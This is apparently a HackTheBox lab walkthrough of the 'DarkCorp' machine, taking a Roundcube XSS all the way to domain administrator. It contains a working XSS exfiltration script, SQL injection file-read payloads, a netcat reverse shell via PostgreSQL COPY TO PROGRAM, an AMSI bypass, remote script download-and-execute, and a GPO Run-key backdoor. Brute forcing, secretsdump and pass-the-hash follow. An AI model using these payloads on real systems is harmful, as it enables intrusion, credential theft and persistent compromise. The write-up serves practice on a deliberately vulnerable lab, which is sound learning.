DarkCorp

📅 Last Updated: Jul 17, 2025 08:37 | 📄 Size: 20.9 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

Nmap

PORT    STATE SERVICE       VERSION
22/tcp  open  ssh           OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp  open  http          nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Site doesn't have a title (text/html).
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
593/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-02-10T05:11:10
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Page check

drip.htb There is another sub-domain mail.drip.htb for sign in page

mail.drip.htb Then we can register an account to login. When we successfully login to the dashboard, we can find the version of this service Roundcube Webmail 1.6.7

CVE-2024-42009

By searching the exploits of this service, we can find a XSS vulner here. Let's look at the default email headers and note the drip.darkcorp.htb domain :

Return-Path: <no-reply@drip.htb>  
Delivered-To: root@drip.htb  
Received: from drip.htb  
    by drip.darkcorp.htb with LMTP  
    id EHcECx+CrWd/QQIA8Y1rLw  
    (envelope-from <no-reply@drip.htb>)  
    for <root@drip.htb>; Wed, 12 Feb 2025 22:24:47 -0700  
Received: from drip.darkcorp.htb (localhost [127.0.0.1])  
    by drip.htb (Postfix) with ESMTP id 2BEA52397  
    for <root@drip.htb>; Wed, 12 Feb 2025 22:24:47 -0700 (MST)  
Content-Type: text/plain; charset="utf-8"  
MIME-Version: 1.0  
Content-Transfer-Encoding: 8bit  
Subject: Welcome to DripMail!  
From: no-reply@drip.htb  
To: root@drip.htb  
Date: Wed, 12 Feb 2025 22:24:47 -0700  
Message-ID: <173942428714.630.5808751956165052919@drip.darkcorp.htb>  
Reply-To: support@drip.htb

Let's try to send ourselves a letter from a form on the site and intercept the request via Burp Suite: Then we just need to change recipient=support%40drip.htb into recipient=root%40drip.htb, then we can get the answer from the email dashboard. There is another email here and we can try to exploit the XSS exploit to this user bcase@drip.htb

This version of Roundcube allows you to do XSS with 0-click. We will use CVE-2024-42008 and repeat this video , and we will take the description of the vulnerabilities from the article . https://www.youtube.com/watch?v=X7UX7b7Tkrk And there is an article https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/

Let's take a script from the guys from a well-known forum and modify it a little:

import requests
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
import threading
from lxml import html


# Configuration
TARGET_URL = 'http://drip.htb/contact'
LISTEN_PORT = 8000
LISTEN_IP = '0.0.0.0'

# Payload for the POST request
start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid='
message = 3
end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.16.10:8000/c=${btoa(t)}`)) foo=bar">Foo</body>'

post_data = {
    'name': 'root',
    'email': 'root@drip.htb',
    'message': f"{start_mesg}{message}{end_mesg}",
    'content': 'html',
    'recipient': 'bcase@drip.htb'
}
print(f"{start_mesg}{message}{end_mesg}")

# Headers for the POST request
headers = {
    'Host': 'drip.htb',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://drip.htb',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://drip.htb/index',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9',
    'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',
    'Connection': 'close'
}

# Function to send the POST request
def send_post():
    response = requests.post(TARGET_URL, data=post_data, headers=headers)
    print(f"[+] POST Request Sent! Status Code: {response.status_code}")

# Custom HTTP request handler to capture and decode the incoming data
class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if '/c=' in self.path:
            encoded_data = self.path.split('/c=')[1]
            decoded_data = base64.b64decode(encoded_data).decode('latin-1')
            print(f"[+] Received data {decoded_data}")
            tree = html.fromstring(decoded_data)

            # XPath query to find the div with id 'messagebody'
            message_body = tree.xpath('//div[@id="messagebody"]')
           
            # Check if the div exists and extract the content
            if message_body:
                # Extract inner text, preserving line breaks
                message_text = message_body[0].text_content().strip()
                print("[+] Extracted Message Body Content:\n")
                print(message_text)
            else:
                print("[!] No div with id 'messagebody' found.")

        else:
            print("[!] Received request but no data found.")

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

    def log_message(self, format, *args):
        return  # Suppress default logging

# Function to start the HTTP server
def start_server():
    server_address = (LISTEN_IP, LISTEN_PORT)
    httpd = HTTPServer(server_address, RequestHandler)
    print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...")
    httpd.serve_forever()

# Run the HTTP server in a separate thread
server_thread = threading.Thread(target=start_server)
server_thread.daemon = True
server_thread.start()

# Send the POST request
send_post()

# Keep the main thread alive to continue listening
try:
    while True:
        pass
except KeyboardInterrupt:
    print("\n[+] Stopping server.")

Firstly, we can check the uid 3 message:

Hey Bryce,

The Analytics dashboard is now live. While it's still in development and limited in functionality, it should provide a good starting point for gathering metadata on the users currently using our service.

You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you'll need to reset your password before logging in.

If you encounter any issues or have feedback, let me know so I can address them promptly.

Then we can get the other sub-domain here dev-a3f1-01.drip.htb and we can access to forget password page, we need to submit the target email Then continue use the exploit script to get the message

[+] Extracted Message Body Content:

Your reset token has generated.  Please reset your password within the next 5 minutes.

You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z843cA.CLsWMVfy8rPH4MbwMtEytJJ0j_8


Then we can get into account of bcase@drip.htb

SQL-injection by bcase

There is a obvious sql-injection here when I search 5001'

Let's read the /etc/hosts file with the payload ''; SELECT pg_read_file('/etc/hosts', 0, 2000);

127.0.0.1	localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb

Then continue to check /etc/passwd with the payload ''; SELECT pg_read_file('/etc/passwd', 0, 2000);

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
bcase:x:1000:1000:Bryce Case Jr.,,,:/home/bcase:/bin/bash
postgres:x:102:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
postfix:x:103:111::/var/spool/postfix:/usr/sbin/nologin
dovecot:x:104:113:Dovecot mail server,,,:/usr/lib/dovecot:/usr/sbin/nologin
dovenull:x:105:114:Dovecot login user,,,:/nonexistent:/usr/sbin/nologin
vmail:x:5000:5000::/home/vmail:/usr/bin/nologin
avahi:x:106:115:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
ntpsec:x:107:116::/nonexistent:/usr/sbin/nologin
sssd:x:108:117:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
_chrony:x:109:118:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
ebelford:x:1002:1002:Eugene Belford:/home/ebelford:/bin/bash

Continue to check the databases ''; SELECT datname FROM pg_database;

|   |   |   |   |   |
|---|---|---|---|---|
|postgres|||||
|template1|||||
|template0|||||
|roundcube|||||
|dripmail|

Then check the tables ''; SELECT tablename FROM pg_tables;

Let's get the password hashes: ''; (SELECT password FROM "Users")

|   |   |   |   |   |
|---|---|---|---|---|
|d9b9ecbf29db8054b21f303072b37c4e|||||
|1eace53df87b9a15a37fdc11da2d298d|||||
|0cebd84e066fd988e89083879e88c5f9|||||
|63a9f0ea7bb98050796b649e85481845|

And there is admin hash ''; (SELECT password FROM "Admins")

e10adc3949ba59abbe56e057f20f883e

Not a single hash can be brute-forced. Let's try to look at the database logs. To do this, first determine the version: ''; SELECT version();

PostgreSQL 15.10 (Debian 15.10-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit

Now you can try to read the log: ''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log', 0, 10000000); In this log file, there is nothing interesting here.

Let's check the old version of log files ''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.1', 0, 10000000); Then we can get the hash of user ebelford 8bbd7f88841b4223ae63c8848969be86 From the crackstation, we can get the cracked hash 8bbd7f88841b4223ae63c8848969be86:ThePlague61780

Let's use ssh to connect it and then we can handle the shell as ebelford ssh ebelford@10.10.11.54 (ebelford:ThePlague61780)

Switch to user postgres

In the /var/backups directory we find backups from postgres from the database user:

$ ls -la /var/backups | grep postgres
drwx------ 2 postgres postgres 4096 Feb 5 1252 postgres

Let's try to switch into postgres user I can get something useful from /var/www/html/dashboard/.env

ebelford@drip:/var/www/html/dashboard$ cat .env
# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated 
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used) 
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'

Let's get the shell from this user:

COPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.10 4242 >/tmp/f';

# on your car
$ rlwrap nc -lnvp 4242
# on the attacked machine
$ PGPASSWORD=2Qa2SsBkQvsc psql -h localhost -U dripmail_dba -d dripmail
psql> COPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|bash -i 2>&1|nc 10.10.16.3 4242 >/tmp/f';
# in the terminal as user postgres
$ mkdir -p ~/.ssh echo "ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIGPqkrmvSthuwL/gpIhNJ7ioSieOV53BZH4bMDKalyMF
kiberdruzhinnik@vm" > ~/.ssh/authorized_keys
# back on your machine
$ ssh postgres@drip.htb

Then we can check the backup files.

postgres@drip:/var/backups/postgres$ ls -al
total 12
drwx------ 2 postgres postgres 4096 Feb  5 12:52 .
drwxr-xr-x 3 root     root     4096 Feb 11 08:10 ..
-rw-r--r-- 1 postgres postgres 1784 Feb  5 12:52 dev-dripmail.old.sql.gpg

Let's try to decrypt the old backup using the database password:

gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback --passphrase '2Qa2SsBkQvsc' --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > /var/backups/postgres/dev-dripmail.old.sql

And let's look inside:

$ cat /var/backups/postgres/dev-dripmail.old.sql

COPY public."Admins" (id, username, password, email) FROM stdin;
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb

Then we can crack these hashes victor.r:victor1gustavo@#

Remember we get before /etc/hosts

127.0.0.1       localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb

We need to port forwarding into our local machine. Let's use sshuttle for forwarding: Don't forget to add to /etc/hosts : 172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb 172.16.20.3 drip.darkcorp.htb

sshuttle -r ebelford:'ThePlague61780'@drip.htb -N 172.16.20.0/24

PS: sshuttle forwards only TCP traffic by default sshuttle is mainly used to tunnel TCP traffic, and ICMP (the protocol used by the ping command) is not forwarded by default. Therefore, even if the tunnel is successfully established, the ping command may not be able to detect the connectivity of the target host through the tunnel.

Just in case, let's ping 172.16.20.2 :

$ ping 172.16.20.2
PING 172.16.20.2 (172.16.20.2) 56(84) bytes of data.
64 bytes from 172.16.20.2: icmp_seq=1 ttl=64 time=2557 ms
64 bytes from 172.16.20.2: icmp_seq=2 ttl=64 time=1620 ms
64 bytes from 172.16.20.2: icmp_seq=3 ttl=64 time=606 ms

And by nmap, we can check the valid port and services:

nmap -sCTV -Pn -vvv 172.16.20.2
80
5000

Port 80

Port 5000, we can use the credentials of victor to login

Bloodhound by victor

Let's partially use proxychains4:

Remember your local /etc/hosts should be
10.10.11.54 drip.htb mail.drip.htb dev-a3f1-01.drip.htb
172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.2 WEB-01 WEB-01.darkcorp.htb
172.16.20.3 drip.darkcorp.htb

$ sudo apt install proxychains4
$ sudo nano /etc/proxychains4.conf

/etc/proxychains4.conf
dnat 10.10.14.17  172.16.20.1
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  127.0.0.1 1080

Then set up ssh forwarding

sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no -D 1080 ebelford@drip.htb

There is a good way to ntpdate the timezone with dc01 server

DATE_UTC=$(ssh ebelford@drip.htb "date -u +%Y-%m-%dT%H:%M:%S")
sudo timedatectl set-timezone UTC
sudo date -s "$DATE_UTC"

Finally collect bloodhound information

proxychains4 bloodhound-python -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb --dns-tcp -ns 172.16.20.1 --dns-timeout 10 -c ALL -d darkcorp.htb --zip

The next conventional approach is to first obtain the website 172.16.20.2's only privilege, and then use ntlmrelayx attack to obtain the system privileges of the machine.

sudo impacket-ntlmrelayx -t ldaps://172.16.20.1 -debug -i -smb2support -domain
darkcorp.htb

But I don't know why I can't run it successfully.

Another non-optimal way is to brute force the password of taylor.b.adm: !QAZzaq1.

hydra -l taylor.b.adm -P /usr/share/wordlists/rockyou.txt -o test.log  -vV ldap3://172.16.20.1

Then we can get the shell as taylor

Elevate Privileges

Then use the PowerGPOAbuse.ps1 script to elevate privileges

*Evil-WinRM* PS C:\Users\taylor.b.adm\Documents> $a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'};$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'};[IntPtr]$c =$b.GetValue($null);[Int32[]]$d = @(0xff);[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1)

*Evil-WinRM* PS C:\Users\taylor.b.adm\Documents> iex(New-Object Net.WebClient).DownloadString('http://10.10.14.17/PowerGPOAbuse.ps1')

*Evil-WinRM* PS C:\Users\taylor.b.adm\Documents> Add-GPOGroupMember -Member 'taylor.b.adm' -GPOIdentity 'SecurityUpdates'
True

*Evil-WinRM* PS C:\Users\taylor.b.adm\Documents> Set-GPRegistryValue -Name "SecurityUpdates" -key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "backdoor" -Type String -Value "powershell -ExecutionPolicy Bypass -NoProfile -Command `"Add-LocalGroupMember -Group 'Administrators' -Member taylor.b.adm`""

DisplayName      : SecurityUpdates
DomainName       : darkcorp.htb
Owner            : darkcorp\Domain Admins
Id               : 652cae9a-4bb7-49f2-9e52-3361f33ce786
GpoStatus        : AllSettingsEnabled
Description      : Windows Security Group Policy
CreationTime     : 1/3/2025 3:01:12 PM
ModificationTime : 2/14/2025 5:30:20 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 2, SysVol Version: 2
WmiFilter        :

*Evil-WinRM* PS C:\Users\taylor.b.adm\Documents> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.

User Policy update has completed successfully.

Attack intent: Bypass security software detection to ensure that subsequent downloaded malicious scripts (such as PowerGPOAbuse.ps1) will not be blocked.

Download and load the PowerGPOAbuse script

iex(New-Object Net.WebClient).DownloadString('http://10.10.14.17/PowerGPOAbuse.ps1')

Add the user to the local administrator group via GPO

Add-GPOGroupMember -Member 'taylor.b.adm' -GPOIdentity 'SecurityUpdates

Implanting a persistent backdoor via a GPO registry key

Set-GPRegistryValue -Name "SecurityUpdates" -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "backdoor" -Type String -Value "powershell -Command `"Add-LocalGroupMember -Group 'Administrators' -Member taylor.b.adm`""

Force update of Group Policy

gpupdate /force

Then you can use impacket-secretsdump to get the hash and log in to the terminal

impacket-secretsdump darkcorp/taylor.b.adm:'!QAZzaq1'@darkcorp.htb

I will give you guys the hash here, because it's really hard to control

evil-winrm -i dc-01.darkcorp.htb -u "administrator" -H
"fcb3ca5a19a1ccf2d14c13e8b64cde0f"

Finally, you can get the superuser shell.

Description

I only want to describe this machine in one sentence. Its difficulty and knowledge coverage far exceed all the current AD domain environment machines.

This is a machine that can be regarded as a treasure. Under the premise of such complex various exploits, the stability of the machine can be guaranteed as much as possible. It can be called the best machine in Hackthebox, no doubt about it.

It is well worth studying and reviewing again and again, and truly exceeds the complexity of pro lab.

This machine is not suitable for beginners, and even experts have to spend a lot of effort here.